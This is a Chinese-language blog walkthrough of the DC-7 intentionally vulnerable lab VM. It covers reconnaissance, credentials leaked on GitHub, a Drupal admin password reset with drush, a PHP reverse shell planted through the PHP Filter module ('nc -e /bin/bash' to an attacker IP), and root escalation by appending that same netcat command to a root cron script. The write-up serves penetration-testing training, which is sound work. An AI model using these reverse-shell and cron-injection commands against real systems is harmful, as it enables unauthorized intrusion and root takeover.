DC-7靶机做题记录

靶机下载地址:

复制代码
链接:https://pan.baidu.com/s/1w2c_QKd_hOoR2AzNrdZjMg?pwd=tdky 
提取码:tdky 

参考:

描述:

复制代码
DESCRIPTION 说明
DC-7 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
DC-7是另一个专门建造的易受攻击实验室,旨在获得渗透测试领域的经验。

While this isn't an overly technical challenge, it isn't exactly easy.
虽然这不是一个过于技术性的挑战,但也并不容易。

While it's kind of a logical progression from an earlier DC release (I won't tell you which one), there are some new concepts involved, but you will need to figure those out for yourself. :-) If you need to resort to brute forcing or dictionary attacks, you probably won't succeed.
虽然这是早期DC版本的一个逻辑进展(我不会告诉你是哪一个),但其中涉及一些新概念,但你需要自己弄清楚。:-)如果你需要诉诸暴力或字典攻击,你可能不会成功。

What you will need to do, is to think "outside" of the box.
你需要做的是跳出框框思考。

Waaaaaay "outside" of the box. :-)
Waaaaaay"在盒子外面"。:-)

The ultimate goal of this challenge is to get root and to read the one and only flag.
这个挑战的最终目标是扎根并阅读唯一的旗帜。

Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.
Linux技能和熟悉Linux命令行是必须的,有一些基本渗透测试工具的经验也是必须的。

For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward.
对于初学者来说,谷歌可以提供很大的帮助,但你可以随时在@DCAU7上向我推特寻求帮助,让你重新开始。但请注意:我不会给你答案,相反,我会给你一个如何前进的想法。

1、导入VMware虚拟机

复制代码
下载完成后,得到DC-7.ova文件,导入到VMware后,设置靶机和kali的网络连接模式为NAT模式,靶机会自动获取ip地址。

2、拍摄快照,防止后面出问题,有快照还能恢复到初始设置

3、kali创建一个目录 dc7 ,后续的操作都在该目录下进行

使用工具

攻击者:kali 192.168.1.128

靶机:dc-3 192.168.1.135

一.信息收集

基础信息查询

0x01 查看存活主机 0x02 查看开放端口 和 0x03 查看端口服务

这几条命令的用法可以看之前的博客,这里不再赘述

发现靶机192.168.1.135开放了80和22端口

判断 CMS

来到 DC7 Web ⻚⾯,可以看到 CMS 是 Drupal

再次信息收集

发现主⻚存在⼀些信息:

发现下面有一个@DC7USER

那我们就用搜索引擎去搜索一下,发现了一个Github

config.php配置文件中发现了账号密码

尝试登录web页面,发现无法登录

那就尝试SSH登录,登录成功

复制代码
ssh dc7user@192.168.1.135

发现了个root用户的定时文件backups.sh,接下来看一下文件权限

复制代码
ls -la /opt/scripts/
复制代码
-rwxrwxr-x 1 root www-data  520 Aug 29  2019 backups.sh
root用户及其组用户(www-data)可以写入读取执行·,但其他用户没有写入的权限,只有读和执行的权限

backups.sh 内容如下 :

再回到/home/dc7user目录下查看一下,

发现 backups:备份⽂件

mbox:内容看着像⼀个定时备份,但是失败⽽保存的邮件

还有 .drush 这个目录

backups.sh 中也有 drush命令

发现了个drush命令,这个是drupal专属的一个操作系统命令,参考Drupal drush 常用命令

drush修改密码

使用这个命令需要先切换到drupal的目录

复制代码
cd /var/www/html

查看用户信息

我们查看一下admin的用户信息

复制代码
drush user-information admin

接下来修改admin的密码

复制代码
drush upwd admin --password="admin"

然后我们登录后台,用admin管理员的账号

成功登录

反弹shell

进入后台之后,我们要写木马来进行反弹shell

点击内容,并点击编辑,看看能不能把PHP代码写进去

并未发现支持PHP代码的

这个时候我们需要安装 PHP Filter 模块

先把它下载到本地

然后拖进去进行安装

还需要再勾选一遍

这样才算成功安装

此时,页面编辑器中就出现了 PHP code

在 Body 中添加反弹shell 的pho代码

复制代码
<?php system("nc -e /bin/bash 192.168.1.128 1234");?>

点击保存

现在先在我们的kali里面监听1234端口

复制代码
nc -lvvnp 1234

然后访问一下 Welcome to DC-7这个页面,来让它解析PHP代码以触发反弹shell 的命令

成功反弹过来了

优化 SHELL

复制代码
python -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm

权限提升

修改定时脚本⽂件提权

复制代码
echo "nc -e /bin/bash 192.168.1.128 4321" >> backups.sh

本地监听:

复制代码
nc -lvvnp 4321

等待反弹过来即可

因为这个backups.sh的脚本是以root的身份执行的,所以弹回来的shell也是root权限的shell

提权成功!

成功获取到flag!

总结

  1. 第一步非常难,就是要找到它的Github的信息泄露
  2. 对drush的了解,可能国外的人用到就比较多
  3. 要解决它支持PHP代码的问题,需要安装支持PHP的插件
  4. 对定时任务的了解,邮件的定时任务,能够去发现一些脚本的内容

完毕!

相关推荐
凉拌青瓜哈21 分钟前
DVWA-LOW级-SQL手工注入漏洞测试(MySQL数据库)+sqlmap自动化注入-小白必看(超详细)
mysql·安全·网络安全
孙克旭_23 分钟前
day051-ansible循环、判断与jinja2模板
linux·运维·服务器·网络·ansible
Andy杨1 小时前
20250712-1-Kubernetes 监控与日志管理-K8s日志管理与维护_笔记
笔记·容器·kubernetes
悟空胆好小1 小时前
分音塔科技(BABEL Technology) 的公司背景、股权构成、产品类型及技术能力的全方位解读
网络·人工智能·科技·嵌入式硬件
撰卢2 小时前
【个人笔记】负载均衡
运维·笔记·负载均衡
栈溢出了2 小时前
MyBatis实现分页查询-苍穹外卖笔记
java·笔记·mybatis
彤银浦2 小时前
Web学习笔记3
前端·笔记·学习·html5
之歆3 小时前
Python-魔术方法-创建、初始化与销毁-hash-bool-可视化-运算符重载-容器和大小-可调用对象-上下文管理-反射-描述器-二分-学习笔记
笔记·python·学习
morningcat20183 小时前
java17 gc笔记
java·jvm·笔记
优乐美香芋味好喝3 小时前
2025年7月11日学习笔记&一周归纳——模式识别与机器学习
笔记·学习·机器学习